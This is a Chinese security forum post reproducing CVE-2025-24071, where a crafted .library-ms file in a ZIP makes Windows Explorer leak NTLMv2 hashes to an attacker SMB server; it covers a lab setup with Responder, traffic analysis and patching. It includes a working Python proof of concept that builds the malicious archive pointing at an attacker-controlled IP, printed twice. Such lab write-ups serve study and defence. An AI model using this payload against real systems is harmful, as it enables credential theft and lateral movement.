首页
社区
课程
招聘
[原创]Windows 文件资源管理器欺骗漏洞(CVE-2025-24071) 复现
发表于: 2025-3-24 16:42 3353

[原创]Windows 文件资源管理器欺骗漏洞(CVE-2025-24071) 复现

2025-3-24 16:42
3353

Windwos 的文件资源管理器(Explorer.exe)信任基于XML格式 .library-ms 文件。.library-ms文件被压缩在RAR/ZIP 文件后解压时,文件资源管理器会立即自动处理,解析该文件的内容,以渲染适当的图标、缩略图或元数据信息。

如果攻击者提供的.library-ms文件中包含一个<simpleLocation>标签,直接指向攻击者控制的SMB服务器,如图所示:

Windows 资源管理器会自动尝试解析该 SMB 路径(\\192.168.1.116\shared),以获取元数据和索引文件信息。这一操作会触发受害者系统向攻击者控制的 SMB 服务器发起隐式的 NTLM 认证握手。因此,受害者的 NTLMv2 哈希会在无需用户显式交互的情况下被发送出去。

SMB(Server Message Block,服务消息块)协议是应用程序级别的网络协议,主要用于共享打印机、文件访问、串行端口以及网络上的节点之间的其他通信。 SMB 还可以与任何设置为接收 SMB 客户端请求的服务器程序通信。SMB 主要由 Windows 系统使用,是一种经过验证的进程间通信机制。永恒之蓝(EternalBlue)就是利用微软SMB服务协议漏洞进行攻击的。

准备两台虚拟机使用 NAT 连接网络,并保证两台虚拟机之间能互相 Ping 通

查询 Windows 版本

此版本在漏洞影响范围之类,受影响的系统版可以查询https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071

运行上述Python脚本得到了exploit.zip压缩包,里面包含Test.library-ms192.168.98.130是用来接受NTLMv2 哈希的 Kali 虚拟机的 IP 地址。

解压放在桌面的exploit.zip时,启动 Process Monitor,并按照下图添加筛选规则

点击 Add,之后再点击 Apply,然后解压 exploit.zip

可以清楚地观察到,在解压 zip 文件后,以下操作会由 Explorer.exe 和索引服务(如 SearchProtocolHost.exe)自动执行:

解压exploit.zip压缩包时,在 Kali 系统中启用 responder,打开 Windows 中的 Wireshark 中监控 smb 和 smb2 的流量

Responder 是一款开源的网络协议欺骗工具,主要用于在本地网络中捕获和利用NetBIOS、LLMNR和MDNS协议中的漏洞。通过Responder,攻击者可以进行中间人攻击(MITM),捕获凭据,甚至进行网络钓鱼攻击。它是渗透测试和红队操作的重要工具之一。

打开压缩文件时,Windows 的 Wireshark 监控的 SMB 网络流量如图所示

同时也可以在 Kali 系统中看到 Responder 接收到了NTLMv2 哈希值

NTLM-Hash算法是微软基于LM-Hash算法的弱点设计而成的算法。它对字母大小写敏感,是基于MD4实现的,穷举难度相对LM-Hash较大。从Windows NT4.0开始,NTLMv2(NTLM第2版)被用作全新的身份验证方法。

NTLM v2 哈希一旦被捕获,攻击者可以在自己的设备上进行离线破解尝试,不受目标系统的登录限制或锁定策略影响。在企业网络中,NTLM v2 凭据泄露可能导致攻击者进行横向移动。即使无法破解哈希,攻击者也可能执行"传递哈希"(Pass-the-Hash)攻击,直接使用捕获的哈希值进行身份验证,无需知道明文密码。

在 Kali 中可以看到,Windows 发送过来的信息,包括 IP 地址、系统用户名以及可能导致极大危害的NTLMv2哈希。

有兴趣的读者可以试试,如果解压一个只包含空文本 txt 的压缩文件,是检测不到任何网络流量的,这进一步证明了前述操作所产生的 SMB2 网络连接就是由精心构造的 Poc 造成的。

更新 Windows 系统,或者手动安装微软官方于 2025 年 3 月 11 日发布的漏洞补丁,可在此链接(https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071)根据自己系统的版本型号下载补丁。

https://cti.monster/blog/2025/03/18/CVE-2025-24071.html

https://github.com/0x6rss/CVE-2025-24071_PoC/blob/main/poc.py

https://catalog.update.microsoft.com/Search.aspx?q=KB5053596

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071

https://www.secrss.com/articles/76793

import os
import zipfile
 
def main():
 
    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\192.168.98.130\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""
 
    library_file_name = f"Test.library-ms"
    with open(library_file_name, "w", encoding="utf-8") as f:
        f.write(library_content)
 
 
    with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(library_file_name)
 
 
    if os.path.exists(library_file_name):
        os.remove(library_file_name)
 
    print("completed")
 
if __name__ == "__main__":
    main()
import os
import zipfile
 
def main():
 
    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\192.168.98.130\\shared</url>

[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册